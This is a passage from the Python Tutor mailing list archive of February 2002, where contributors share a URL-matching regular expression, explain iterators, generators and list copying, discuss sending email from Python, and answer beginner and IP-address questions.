##     http://www.perl.com/doc/FMTEYEWTK/regexps.html
##
## for more details.

urls = '(%s)' % '|'.join("""http telnet gopher file wais ftp""".split())
ltrs = r'\w'
gunk = '/#~:.?+=&%@!\-'
punc = '.:?\-'
any = "%(ltrs)s%(gunk)s%(punc)s" % { 'ltrs' : ltrs,
                                     'gunk' : gunk,
                                     'punc' : punc }

url = r"""
    \b                            # start at word boundary
    (                             # begin \1 {
        %(urls)s    :             # need resource and a colon
        [%(any)s] +?              # followed by one or more
                                  #  of any valid character, but
                                  #  be conservative and take only
                                  #  what you need to....
    )                             # end   \1 }
    (?=                           # look-ahead non-consumptive assertion
            [%(punc)s]*           # either 0 or more punctuation
            [^%(any)s]            #  followed by a non-url char
        |                         # or else
            $                     #  then end of the string
    )
    """ % {'urls' : urls,
           'any' : any,
           'punc' : punc }

url_re = re.compile(url, re.VERBOSE)


def _test():
    sample = """hello world, this is an url:
                http://python.org.  Can you find it?"""
    match = url_re.search(sample)
    print "Here's what we found: '%s'" % match.group(0)

if __name__ == '__main__':
    _test()
###



Well, let's start refactoring!  *grin*


Good luck to you.



From dyoo@hkn.eecs.berkeley.edu  Tue Feb 26 07:55:14 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 25 Feb 2002 23:55:14 -0800 (PST)
Subject: [Tutor] Re: OO approach   [HTTP urls and regular expressions]
In-Reply-To: <Pine.LNX.4.21.0202252243210.14693-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.21.0202252346390.14693-100000@hkn.eecs.berkeley.edu>

On Mon, 25 Feb 2002, Danny Yoo wrote:

> By the way, you might find the following module useful: this is a regular
> expression that matches HTTP urls.  It defines an 'url_re' object that you
> can use to findall() urls in a document.

Yikes, there were some typos in that source code.  Let me send the
repaired version of http_regular_expression.py, as well as an example of
how we can use it:


###
>>> from http_regular_expression import url_re
>>> import urllib
>>>
>>> contents = urllib.urlopen('http://python.org').read()
>>>
>>> url_re.findall(contents)[:10]
[('http://barry.wooz.org/software/ht2html', 'http'),
('http://www.jython.org/', 'http'), ('http://www.endeavors.com/pippy/',
'http'), ('http://idlefork.sourceforge.net', 'http'),
('http://python.sourceforge.net/', 'http'),
('http://python.sourceforge.net/peps/', 'http'),
('http://aspn.activestate.com/ASPN/Cookbook/Python', 'http'),
('http://www.python.org/cgi-bin/faqw.py', 'http'),
('http://www.europython.org', 'http'),
('http://sourceforge.net/bugs/?group_id=5470', 'http')]
###

Cool, it works.  *grin*




######
## This is a regular expression that detects HTTP urls.
##
## This is only a small sample of tchrist's very nice tutorial on
## regular expressions.  See:
##
##     http://www.perl.com/doc/FMTEYEWTK/regexps.html
##
## for more details.

import re

urls = '(%s)' % '|'.join("""http telnet gopher file wais ftp""".split())
ltrs = r'\w'
gunk = r'/#~:.?+=&%@!\-'
punc = r'.:?\-'
any = "%(ltrs)s%(gunk)s%(punc)s" % { 'ltrs' : ltrs,
                                     'gunk' : gunk,
                                     'punc' : punc }

url = r"""
    \b                            # start at word boundary
    (                             # begin \1 {
        %(urls)s    :             # need resource and a colon
        [%(any)s] +?              # followed by one or more
                                  #  of any valid character, but
                                  #  be conservative and take only
                                  #  what you need to....
    )                             # end   \1 }
    (?=                           # look-ahead non-consumptive assertion
            [%(punc)s]*           # either 0 or more punctuation
            [^%(any)s]            #  followed by a non-url char
        |                         # or else
            $                     #  then end of the string
    )
    """ % {'urls' : urls,
           'any' : any,
           'punc' : punc }

url_re = re.compile(url, re.VERBOSE)


def _test():
    sample = """hello world, this is an url:
                http://python.org.  Can you find it?"""
    match = url_re.search(sample)
    print "Here's what we found: '%s'" % match.group(0)

if __name__ == '__main__':
    _test()
######



Sorry about the mistake!



From paulsid@shaw.ca  Tue Feb 26 08:00:41 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Tue, 26 Feb 2002 01:00:41 -0700
Subject: [Tutor] Website for Code Review
Message-ID: <3C7B40A9.B1C9FF57@shaw.ca>

On the main list/newsgroup there was an inquiry from Ben Jacobs about
the existence of a web site where people could post Python code to be
reviewed by other programmers.  I replied privately to tell him about
the Tutor list since that kind of thing does happen here sometimes, but
I think having a dedicated web site for code review would be a great
companion to Tutor.  Is anybody willing to take this on?  I don't have
the resources to set up such a site but I would be willing to help with
keeping it running if needed.

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From Nicole.Seitz@urz.uni-hd.de  Tue Feb 26 09:19:35 2002
From: Nicole.Seitz@urz.uni-hd.de (Nicole Seitz)
Date: Tue, 26 Feb 2002 10:19:35 +0100
Subject: [Tutor] Website for Code Review
In-Reply-To: <3C7B40A9.B1C9FF57@shaw.ca>
Message-ID: <5.1.0.14.0.20020226101355.00b21ad8@popix.urz.uni-heidelberg.de>

At 01:00 26.02.2002 -0700, you wrote:
>On the main list/newsgroup there was an inquiry from Ben Jacobs about
>the existence of a web site where people could post Python code to be
>reviewed by other programmers.  I replied privately to tell him about
>the Tutor list since that kind of thing does happen here sometimes, but
>I think having a dedicated web site for code review would be a great
>companion to Tutor.  Is anybody willing to take this on?

This would really be great!


>  I don't have
>the resources to set up such a site


Maybe I could help here- not sure yet.We'll see.


Many greetings,

Nicole

>but I would be willing to help with
>keeping it running if needed.
>
>--
>======================================================================
>Paul Sidorsky                                          Calgary, Canada
>paulsid@shaw.ca                        http://members.shaw.ca/paulsid/
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor




From dyoo@hkn.eecs.berkeley.edu  Tue Feb 26 09:14:05 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue, 26 Feb 2002 01:14:05 -0800 (PST)
Subject: [Tutor] Website for Code Review
In-Reply-To: <5.1.0.14.0.20020226101355.00b21ad8@popix.urz.uni-heidelberg.de>
Message-ID: <Pine.LNX.4.21.0202260105010.14693-100000@hkn.eecs.berkeley.edu>

On Tue, 26 Feb 2002, Nicole Seitz wrote:

> At 01:00 26.02.2002 -0700, you wrote:
> >On the main list/newsgroup there was an inquiry from Ben Jacobs about
> >the existence of a web site where people could post Python code to be
> >reviewed by other programmers.  I replied privately to tell him about
> >the Tutor list since that kind of thing does happen here sometimes, but
> >I think having a dedicated web site for code review would be a great
> >companion to Tutor.  Is anybody willing to take this on?
> 
> This would really be great!
> 
> 
> >  I don't have
> >the resources to set up such a site
> 
> 
> Maybe I could help here- not sure yet.We'll see.


Ok, let's do this.

    http://ns.decrem.com:8080/ChalkBoard

I think we'll have this as a temporary measure while we figure out what we
really want to do.  But at least we can use this so that people can
quickly post up code for others to look at.


I have to apologize: it is ugly.  I just unpacked Zope and Squishdot ten
minutes ago, and haven't had time to read the documentation yet.  *grin*.



From scarblac@pino.selwerd.nl  Tue Feb 26 09:45:30 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Tue, 26 Feb 2002 10:45:30 +0100
Subject: [Tutor] Website for Code Review
In-Reply-To: <Pine.LNX.4.21.0202260105010.14693-100000@hkn.eecs.berkeley.edu>; from dyoo@hkn.eecs.berkeley.edu on Tue, Feb 26, 2002 at 01:14:05AM -0800
References: <5.1.0.14.0.20020226101355.00b21ad8@popix.urz.uni-heidelberg.de> <Pine.LNX.4.21.0202260105010.14693-100000@hkn.eecs.berkeley.edu>
Message-ID: <20020226104529.A23707@pino.selwerd.nl>

On  0, Danny Yoo <dyoo@hkn.eecs.berkeley.edu> wrote:
> Ok, let's do this.
> 
>     http://ns.decrem.com:8080/ChalkBoard
> 
> I think we'll have this as a temporary measure while we figure out what we
> really want to do.  But at least we can use this so that people can
> quickly post up code for others to look at.

Very good idea. I was thinking of a Wiki myself, but wasn't quite ready yet
to go download one and put it up. Squishdot is a good idea :)

> I have to apologize: it is ugly.  I just unpacked Zope and Squishdot ten
> minutes ago, and haven't had time to read the documentation yet.  *grin*.

I have a feeling this is how many great things start. If it's useful, it can
be used now, if it's not, it wasn't worth making beautiful anyway :-)

Oh, it's not working fully yet - if I want to reply to something it asks for
name and password, and I don't see a way to register. Thought it'd be more
exactly like Slashdot, but apparently it's not.

-- 
Remco Gerlich


From informatickers@yahoo.com  Tue Feb 26 10:02:26 2002
From: informatickers@yahoo.com (informatickers le)
Date: Tue, 26 Feb 2002 02:02:26 -0800 (PST)
Subject: [Tutor] i'm a newbie
Message-ID: <20020226100226.93176.qmail@web14601.mail.yahoo.com>

help ...
* what should i prepared as my first step toward
python..?
* what is the best platform that python run into ?
* does unix suits for a private use ?
* what does python do best..?
 
thanx...

java

__________________________________________________
Do You Yahoo!?
Yahoo! Sports - Coverage of the 2002 Olympic Games
http://sports.yahoo.com


From slime@vsnl.net  Mon Feb 25 15:19:01 2002
From: slime@vsnl.net (Prahlad Vaidyanathan)
Date: Mon, 25 Feb 2002 20:49:01 +0530
Subject: [Tutor] smtpd module
Message-ID: <20020225151901.GA9057@marvin.localdomain>

Hi,

I just downloaded and installed 2.2, and was looking through the
modules, when I found an undocumented module called "smtpd" by Barry
Warsaw.

Has anyone used this module ? I am currently using a very hackish python
script to send emails from my home-machine (I got sick of messing with
the sendmail.cf files of this world). So, this module seems right up
that alley.

If someone has used this, please let me know how.

pv.
-- 
Prahlad Vaidyanathan  <http://www.symonds.net/~prahladv/>

You can always pick up your needle and move to another groove.
		-- Tim Leary


From fal_69@plasa.com  Tue Feb 26 07:06:12 2002
From: fal_69@plasa.com (gopal anshary                                              )
Date: Tue, 26 Feb 2002 14:06:12 +0700
Subject: [Tutor] python script
Message-ID: <web-373481@mail.plasa.com>

hi every body, my name is ifal and i from indonesia. i'm new
member of this mailing list.
i use python in order to finish my final project for my
diploma.
i have some difficulty about python script. i wanna make
some web with python as cgi script and apache as a web
server also PostgerSQL as a data base server.

my question is how to configure those three programs, to get
them connected each other,in order to run my first script?
what module that i need? did i need mod_python ?

i really appreciated for the answer, from every one

viva python!!!!


From enoc6@lycos.com  Tue Feb 26 09:04:35 2002
From: enoc6@lycos.com (Enoch  NORTON)
Date: Tue, 26 Feb 2002 02:04:35 -0700
Subject: [Tutor] New user
Message-ID: <JEPMAECDIDOCFBAA@mailcity.com>

Just trying ou the mailing list. No questions here, yet.




From ak@silmarill.org  Tue Feb 26 21:48:53 2002
From: ak@silmarill.org (Andrei Kulakov)
Date: Tue, 26 Feb 2002 16:48:53 -0500
Subject: [Tutor] i'm a newbie
In-Reply-To: <20020226100226.93176.qmail@web14601.mail.yahoo.com>
References: <20020226100226.93176.qmail@web14601.mail.yahoo.com>
Message-ID: <20020226214853.GA25421@ak.silmarill.org>

On Tue, Feb 26, 2002 at 02:02:26AM -0800, informatickers le wrote:
> help ...
> * what should i prepared as my first step toward
> python..?

Read http://python.org/doc/Newbies.html

> * what is the best platform that python run into ?

Anything you have right now will do fine.

> * does unix suits for a private use ?

Yeah..

> * what does python do best..?

It's not a niche language, it's very universal. It's easier to say what
it does not do well, i.e. driver programming, high performance game
programming, that sort of thing.

>  
> thanx...

no problem!

 - Andrei

> 
> java
> 
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Sports - Coverage of the 2002 Olympic Games
> http://sports.yahoo.com
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 

-- 
Cymbaline: intelligent learning mp3 player - python, linux, console.
get it at: cy.silmarill.org


From rufmetal@rogers.com  Wed Feb 27 00:15:25 2002
From: rufmetal@rogers.com (Chris Keelan)
Date: Tue, 26 Feb 2002 19:15:25 -0500
Subject: [Tutor] i'm a newbie
In-Reply-To: <20020226214853.GA25421@ak.silmarill.org>
References: <20020226100226.93176.qmail@web14601.mail.yahoo.com>
 <20020226214853.GA25421@ak.silmarill.org>
Message-ID: <20020226191525.76f275e0.rufmetal@rogers.com>

Tue, 26 Feb 2002 16:48:53 -0500: In attempt to throw the authorities off his
trail, Andrei Kulakov <ak@silmarill.org> transmitted:

> > * does unix suits for a private use ?
> 
> Yeah..

I always thought we tried to keep the suits *away* from Unix.

;o)

- C


From dsh8290@rit.edu  Wed Feb 27 01:24:07 2002
From: dsh8290@rit.edu (dman)
Date: Tue, 26 Feb 2002 20:24:07 -0500
Subject: [Tutor] smtpd module
In-Reply-To: <20020225151901.GA9057@marvin.localdomain>
References: <20020225151901.GA9057@marvin.localdomain>
Message-ID: <20020227012407.GA25732@dman.ddts.net>

On Mon, Feb 25, 2002 at 08:49:01PM +0530, Prahlad Vaidyanathan wrote:
| Hi,
| 
| I just downloaded and installed 2.2, and was looking through the
| modules, when I found an undocumented module called "smtpd" by Barry
| Warsaw.

This is not likely to be something you want to play with.  

| Has anyone used this module ? I am currently using a very hackish python
| script to send emails from my home-machine (I got sick of messing with
| the sendmail.cf files of this world). So, this module seems right up
| that alley.

Instead, you probably want the
    smtplib
module and the SMTP class with the sendmail() method.

Better yet, just popen() the MTA on the system and pipe the message to
it.  This is the best solution because the MTA will properly handle
all error conditions including the need to queue and retry
transmission.

I understand that you dislike sendmail.cf files.  Take a look at exim
instead.  If you understand mail (RFC [2]821 and [2]822) then it will
be a breeze to configure.

-D

-- 

The light of the righteous shines brightly,
but the lamp of the wicked is snuffed out.
        Proverbs 13:9



From dsh8290@rit.edu  Wed Feb 27 01:36:23 2002
From: dsh8290@rit.edu (dman)
Date: Tue, 26 Feb 2002 20:36:23 -0500
Subject: [Tutor] Iterators and generators for the masses
In-Reply-To: <APJMOLJEPMLPEBAA@mailcity.com>
References: <APJMOLJEPMLPEBAA@mailcity.com>
Message-ID: <20020227013623.GB25732@dman.ddts.net>

On Tue, Feb 26, 2002 at 02:40:45AM +0900, kevin parks wrote:

| Iterators (PEP 234) and generators (PEP 255) were added.

| what do they do? what can they do, what tasks do they make easier,
| what is the simplest possible example, what is a more complex
| example...etc. & co.

Iteration is the process of performing some operation on each member
of a collection of objects.  For example, to iterate over a list and
simply print out each element, you would use

    for item in the_list :
        print str( item )

List objects follow the iterator protocol.  This simply means they
define a method that when called returns an object that follows a
certain interface.  The interface is that the next() method returns
the "next" object in the collection.  The iterator itself determines
what the "next" object is.  (suppose you were iterating over a tree,
do you want it depth-first or breadth-first and pre-order, in-order,
or post-order?)

Iterators can be plugged directly into the 'for' syntax, or you can
use them manually by calling next() when you want the next item.

Generators are simply some convenient syntax-sugar for creating an
iterator.  A generator is a function that, when called, returns an
iterator object.  The iterator object (as described above) provides
each piece of data that the generator generates, in order.  For
example, the most common use of xrange can be written as a generator :

def my_xrange( limit ) :
    cursor = 0  # the first element
    while cursor < limit :
        yield cursor
        cursor += 1

This generator simply generates a sequence of integers starting with 0
and ending at floor(limit-1).  I can then use this generator just as I
would use any other iterable object.

>>> for i in my_xrange( 10 ) :
...     print i ,
...
0 1 2 3 4 5 6 7 8 9
>>>

The neat part is that I don't have to create an actual sequence.  If
the limit was 1,000,000 the memory usage is the same as in this
example.  I don't even have to create a class with a magic __getitem__
method to compute the next item in the sequence.  The generator is
written quite naturally (think of 'yield' much like 'return', except
that execution will resume at the following line).

This is iterators and generators in a nutshell.  If you have more
specific questions, fire away.

-D

-- 

If anyone would come after me, he must deny himself and take up his
cross and follow me.  For whoever wants to save his life will lose it,
but whoever loses his life for me and for the gospel will save it.  What
good is it for a man to gain the whole world, yet forfeit his soul?  Or
what can a man give in exchange for his soul?
        Mark 8:34-37



From dsh8290@rit.edu  Wed Feb 27 01:38:19 2002
From: dsh8290@rit.edu (dman)
Date: Tue, 26 Feb 2002 20:38:19 -0500
Subject: [Tutor] i'm a newbie
In-Reply-To: <20020226191525.76f275e0.rufmetal@rogers.com>
References: <20020226100226.93176.qmail@web14601.mail.yahoo.com> <20020226214853.GA25421@ak.silmarill.org> <20020226191525.76f275e0.rufmetal@rogers.com>
Message-ID: <20020227013819.GC25732@dman.ddts.net>

On Tue, Feb 26, 2002 at 07:15:25PM -0500, Chris Keelan wrote:
| Tue, 26 Feb 2002 16:48:53 -0500: In attempt to throw the authorities off his
| trail, Andrei Kulakov <ak@silmarill.org> transmitted:
| 
| > > * does unix suits for a private use ?
| > 
| > Yeah..
| 
| I always thought we tried to keep the suits *away* from Unix.

Nah.  If the suits can/will use Unix, then it's one less system I have
to manage :-).  Just give them a diskless 486 connected to my "toy".

-D

-- 

Micros~1 :  
 For when quality, reliability 
  and security just aren't
   that important!



From wolf_binary@hotmail.com  Wed Feb 27 02:58:46 2002
From: wolf_binary@hotmail.com (Cameron Stoner)
Date: Tue, 26 Feb 2002 20:58:46 -0600
Subject: [Tutor] IP numbers
Message-ID: <DAV47l65ItgHBiH3BxY0000c1f7@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C1BF08.6227BEA0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi to all,

This isn't really a Python question, but it is a computer one.

Can you change your computers IP address?  If you can how?

Cameron Stoner

------=_NextPart_000_0005_01C1BF08.6227BEA0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2713.1100" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi to all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>This isn't really a Python question, =
but it is a=20
computer one.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Can you change your computers IP =
address?&nbsp; If=20
you can how?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Cameron =
Stoner</FONT></DIV></BODY></HTML>

------=_NextPart_000_0005_01C1BF08.6227BEA0--


From urnerk@qwest.net  Wed Feb 27 03:27:53 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Tue, 26 Feb 2002 19:27:53 -0800
Subject: [Tutor] IP numbers
In-Reply-To: <DAV47l65ItgHBiH3BxY0000c1f7@hotmail.com>
Message-ID: <4.2.0.58.20020226192134.00cd9a90@pop3.norton.antivirus>

At 08:58 PM 2/26/2002 -0600, Cameron Stoner wrote:
>Hi to all,
>
>This isn't really a Python question, but it is a computer one.
>
>Can you change your computers IP address?  If you can how?
>
>Cameron Stoner

Depends how the current one is assigned.  If you're
part of a local, private IP network, with addresses
starting with digits 192. or 10., then it's up to
you how to assign the numbers internally.  If your
computer is getting its IP address from a DHCP server,
which loans out numbers from a pool, then you usually
need to just accept what you have.  If your computer
is an internet host, and registered with a public
domain name, then your address will be built in to
the upline routers and DNS servers and cannot easily
be changed.

Kirby




From blacktrash@gmx.net  Wed Feb 27 01:17:47 2002
From: blacktrash@gmx.net (Christian Ebert)
Date: Wed, 27 Feb 2002 02:17:47 +0100
Subject: [Tutor] literal number (was: dictionaries)
Message-ID: <20020227021801-r01010800-c7a9f38d-0922-0108@217.0.172.87>

Danny Yoo on Thursday, February 21, 2002 21:34:36 :

> Yes, the sort() method of lists does it in-place, so the code above
> wouldn't work.  However, we can fix that.  Here's a function that'll
> return a new sorted list:
> 
> ###
> def fsort(L, f=cmp):
>     """A "functional" sort that returns a copy of L, with all its contents
>        sorted out."""
>     L2 = L[:]
            ^^^
is this just a stylistic convention or does it make a
"functional" difference to L2 = L ?

>     L2.sort(f)
>     return L2
> ###

Hm, you got me addicted to those little functions. So I did
the same with reverse() and used it in one of my first
scripts - one could do all this less verbosely by
considering the number as a number and not a list of chars,
using modulo and so forth; but I'm no math guy, so this is
my approach:

###
def litNum(numstr):
    """Returns a literal representation of a positive number."""
    
    def fReverse(mylist):
        """Returns mylist in reversed order."""
        mylist.reverse()
        return mylist
        
    if numstr == '0': return 'NAUGHTy professor!'

    ones = ('', 'one', 'two', 'three', 'four',
        'five', 'six', 'seven', 'eight', 'nine')
    tens = ('', None, 'twenty', 'thirty', 'forty',
        'fifty', 'sixty', 'seventy', 'eighty', 'ninety')
    teenies = ('ten', 'eleven', 'twelve', 'thirteen', 'fourteen',
        'fifteen', 'sixteen', 'seventeen', 'eighteen', 'nineteen')
    powers = ('thousand', 'million', 'billion', 'trillion',
        'quadrillion', 'quintillion', 'sextillion')

    # list digits in reverse order:
    try: digits = fReverse(map(lambda x: int(x), numstr))
    except ValueError: return 'A positive integer please.'
    
    d = len(digits)       # count of digits
    digind = range(d)     # list indices of digits

    # initialize backward listing of literal representation of digits:
    strlist = [None for i in digind]

    for i in range(1, d, 3):
        strlist[i] = ''
        if max(digits[i-1:i+1]) and d > i+1:
            strlist[i] = 'and '
        if digits[i] == 1:
            strlist[i-1] = teenies[digits[i-1]]
        else:
            strlist[i] = '%s%s' % (strlist[i], tens[digits[i]])
            if digits[i] and digits[i-1]:
                strlist[i] = '%s-' % strlist[i]

    for i in digind:
        if strlist[i] == None:
            strlist[i] = ones[digits[i]]

    try:
        for i in range(3, d, 3):
            if max(digits[i:i+3]):
                strlist[i] = '%s %s ' % (strlist[i], powers[(i-1)/3])
    except IndexError:
        return 'Number goes beyond sextillions, I don\'t have a name for it.'

    for i in range(2, d, 3):
        if digits[i]:
            strlist[i] = '%s hundred' % strlist[i]
            if max(digits[i-2:i]):
                strlist[i] = '%s ' % strlist[i]

    # concatenate list of strings in right order:
    return ''.join(fReverse(strlist))

print litNum(raw_input('Enter a positive number to get its English literal: '))
###

I also made a German version, but hesitate to attack a
French one; e. g. 98 == "quatre-vingt dix-huit" ;-b

Christian
-- 
Hyperion in Frankfurt
www.tko.ch/blacktrash
www.schauspielfrankfurt.de


From slime@vsnl.net  Tue Feb 26 06:55:21 2002
From: slime@vsnl.net (Prahlad Vaidyanathan)
Date: Tue, 26 Feb 2002 12:25:21 +0530
Subject: [Tutor] Email module problem -- Bug ?
Message-ID: <20020226065521.GA2840@marvin.localdomain>

Hi,

I was playing around with the email module in 2.2, when I came across a
problem. Here is the code that caused it :

<code>
outer = email.MIMEBase.MIMEBase('multipart','mixed')
outer['Subject'] = 'Daily Cartoon Strips %s' % \
    time.strftime("%Y-%m-%d",time.localtime())
outer['from'] = from_addr
outer['to'] = to_addrs
files = ['test.gif']

for filename in files :
    ctype, encoding = mimetypes.guess_type(filename)
    if ctype is None or encoding is not None :
        ctype = 'application/octet-stream'
    maintype, subtype = ctype.split('/',1)
    if maintype == 'text' :
        fp = open(filename)
        msg = email.MIMEText.MIMEText(fp.read(),_subtype=subtype)
        fp.close()
    elif maintype == 'image' :
        fp = open(filename,'rb')
        msg = email.MIMEImage.MIMEImage(fp.read(),_subtype=subtype)
        fp.close()
    else :
        fp = open(filename,'rb')
        msg = email.MIMEBase.MIMEBase(maintype,subtype)
        msg.add_payload(fp.read())
        fp.close()
        email.Encoders.encode_base64(msg)
    outer.attach(msg)

s = smtplib.SMTP()
s.connect()
s.sendmail(from_addr,to_addrs,outer.as_string(0))
s.close()
</code>

This is taken pretty much straight from the documentation, and yet it
throws up this error :

<error>
Traceback (most recent call last):
  File "/home/prahlad/bin/cartoons.py", line 256, in ?
    mailEmAll(from_addr=frm, to_addrs=to)
  File "/home/prahlad/bin/cartoons.py", line 249, in mailEmAll
    s.sendmail(from_addr,to_addrs,outer.as_string(0))
  File "/usr/local/lib/python2.2/email/Message.py", line 59, in as_string
    g(self, unixfrom=unixfrom)
  File "/usr/local/lib/python2.2/email/Generator.py", line 83, in __call__
    self._write(msg)
  File "/usr/local/lib/python2.2/email/Generator.py", line 104, in _write
    self._dispatch(msg)
  File "/usr/local/lib/python2.2/email/Generator.py", line 134, in _dispatch
    meth(msg)
  File "/usr/local/lib/python2.2/email/Generator.py", line 240, in _handle_multipart
    for part in msg.get_payload():
  File "/usr/local/lib/python2.2/email/Message.py", line 151, in __getitem__
    return self.get(name)
  File "/usr/local/lib/python2.2/email/Message.py", line 214, in get
    name = name.lower()
AttributeError: 'int' object has no attribute 'lower'
</error>

Is this a bug ? 

pv.
-- 
Prahlad Vaidyanathan  <http://www.symonds.net/~prahladv/>

A gentleman is a man who wouldn't hit a lady with his hat on.
		-- Evan Esar
		[ And why not?  For why does she have his hat on?  Ed.]


From dsh8290@rit.edu  Wed Feb 27 03:55:51 2002
From: dsh8290@rit.edu (dman)
Date: Tue, 26 Feb 2002 22:55:51 -0500
Subject: [Tutor] IP numbers
In-Reply-To: <DAV47l65ItgHBiH3BxY0000c1f7@hotmail.com>
References: <DAV47l65ItgHBiH3BxY0000c1f7@hotmail.com>
Message-ID: <20020227035551.GA26544@dman.ddts.net>

On Tue, Feb 26, 2002 at 08:58:46PM -0600, Cameron Stoner wrote:
| Hi to all,
| 
| This isn't really a Python question, but it is a computer one.
| 
| Can you change your computers IP address?  If you can how?

Depends on your system.  Given that you're using OE, I'll assume
you've got a MS platform.


First, what Kirby said.  You want your IP to fit with your network's
topology or else you'll get nasty routing errors and won't be
"connected".

Second, if you do want to change what your machine thinks is it's IP,
go to the network section of the control panel.  In some version of
windows (I'm not sure which, and MS keeps moving it), right-click on
Network Neighborhood.  Click on Properties.  Go to the TCP/IP adapter
you want to change (likely you only have one, but some systems have
multiple NICs).  Select it and click the button that says
"properties".  One of the tabs in the resulting dialog has two radio
buttons.  They say :
    Obtain an IP automagically.  (this means DHCP)
    Specify an IP address.

If you pick the first one (you probably have), then try running
'winipcfg' and releasing, then renewing, the lease.  (that only works
with the 95/98/me family, don't know where it is in 2k)  DHCP means
that a server is configured to assign IP addresses and also give your
machine routing and nameserver information.  This is probably want you
want for your system to work, and you have no control over what IP you
get.

If you pick the second one, you can enter any IP address in the box.
Then you need to specify a default gateway too.  You shouldn't do this
unless you know what you are doing.  If you enter an IP that belongs
to someone else, you'll get lots of mis-directed packets (actually,
the other person will, you won't get any) if your ISP even routes your
requests.  This is kinda like putting my address on a letter you drop
off at the post office.  When the person writes back, they'll only
have my address and I, not you, will get their letter.

There is another possibility, though.  If you use a regular modem to
dial-in to your ISP, then you have no control over your IP at all.

-D

-- 

If your company is not involved in something called "ISO 9000" you
probably have no idea what it is.  If your company _is_ involved in ISO
9000 then you definitely have no idea what it is.
                                (Scott Adams - The Dilbert principle)



From dyoo@hkn.eecs.berkeley.edu  Wed Feb 27 04:11:33 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue, 26 Feb 2002 20:11:33 -0800 (PST)
Subject: [Tutor] Re: literal number (was: dictionaries)
In-Reply-To: <20020227021801-r01010800-c7a9f38d-0922-0108@217.0.172.87>
Message-ID: <Pine.LNX.4.21.0202261944580.9467-100000@hkn.eecs.berkeley.edu>

On Wed, 27 Feb 2002, Christian Ebert wrote:

> Danny Yoo on Thursday, February 21, 2002 21:34:36 :
> 
> > Yes, the sort() method of lists does it in-place, so the code above
> > wouldn't work.  However, we can fix that.  Here's a function that'll
> > return a new sorted list:
> > 
> > ###
> > def fsort(L, f=cmp):
> >     """A "functional" sort that returns a copy of L, with all its contents
> >        sorted out."""
> >     L2 = L[:]
>             ^^^
> is this just a stylistic convention or does it make a
> "functional" difference to L2 = L ?


Ah!  This array slice isn't a matter of style --- it's a necessary part of
fsort() because the comment implies that we want to avoid "destructively"
touching the original list.  For example:

###
>>> letters = list('alphacentauri')
>>> letters
['a', 'l', 'p', 'h', 'a', 'c', 'e', 'n', 't', 'a', 'u', 'r', 'i']
>>> another_letters = letters
>>> another_letters.sort()
>>> another_letters
['a', 'a', 'a', 'c', 'e', 'h', 'i', 'l', 'n', 'p', 'r', 't', 'u']
>>> letters
['a', 'a', 'a', 'c', 'e', 'h', 'i', 'l', 'n', 'p', 'r', 't', 'u']
###

When we're modifying lists, we need to be aware of this issue, that
multiple names can refer to the "same" list.



This "mutability" is something that isn't an issue with numbers, because
we can't modify numbers:

###
>>> x = 42
>>> y = x
>>> x = 43
>>> x, y
(43, 42)
###

That is, numbers are "immutable" --- we simply can't change the value of
Pi (as long as we're not in Indiana).



Lists are different because they do have state, and can "mutate" beneath
our fingers.

###
>>> x = ['4', '2']
>>> y = x
>>> x[0] = '2'
>>> x
['2', '2']
>>> y
['2', '2']
###

We can call a dead parrot a "stunned parrot" or an "ex-parrot", but no
matter what we call it, we're talking about the same poor bird.


Thankfully, lists are much easier to clone than birds.

It probably will help readability if we do the copying more explicitly
with the 'copy' module:

###
from copy import copy

def fsort(L, f=cmp):
    L2 = copy(L)
    ...
###



Please feel free to ask questions on this topic; it's a fairly subtle one.
Hope this helps!



From sheila@thinkspot.net  Wed Feb 27 04:25:11 2002
From: sheila@thinkspot.net (Sheila King)
Date: Tue, 26 Feb 2002 20:25:11 -0800
Subject: [Tutor] Email module problem -- Bug ?
In-Reply-To: <20020226065521.GA2840@marvin.localdomain>
References: <20020226065521.GA2840@marvin.localdomain>
Message-ID: <7E97E4CE0@kserver.org>

On Tue, 26 Feb 2002 12:25:21 +0530, Prahlad Vaidyanathan <slime@vsnl.net>
wrote about [Tutor] Email module problem -- Bug ?:

> <error>
> Traceback (most recent call last):
>   File "/home/prahlad/bin/cartoons.py", line 256, in ?
>     mailEmAll(from_addr=frm, to_addrs=to)
>   File "/home/prahlad/bin/cartoons.py", line 249, in mailEmAll
>     s.sendmail(from_addr,to_addrs,outer.as_string(0))
>   File "/usr/local/lib/python2.2/email/Message.py", line 59, in as_string
>     g(self, unixfrom=unixfrom)
>   File "/usr/local/lib/python2.2/email/Generator.py", line 83, in __call__
>     self._write(msg)
>   File "/usr/local/lib/python2.2/email/Generator.py", line 104, in _write
>     self._dispatch(msg)
>   File "/usr/local/lib/python2.2/email/Generator.py", line 134, in _dispatch
>     meth(msg)
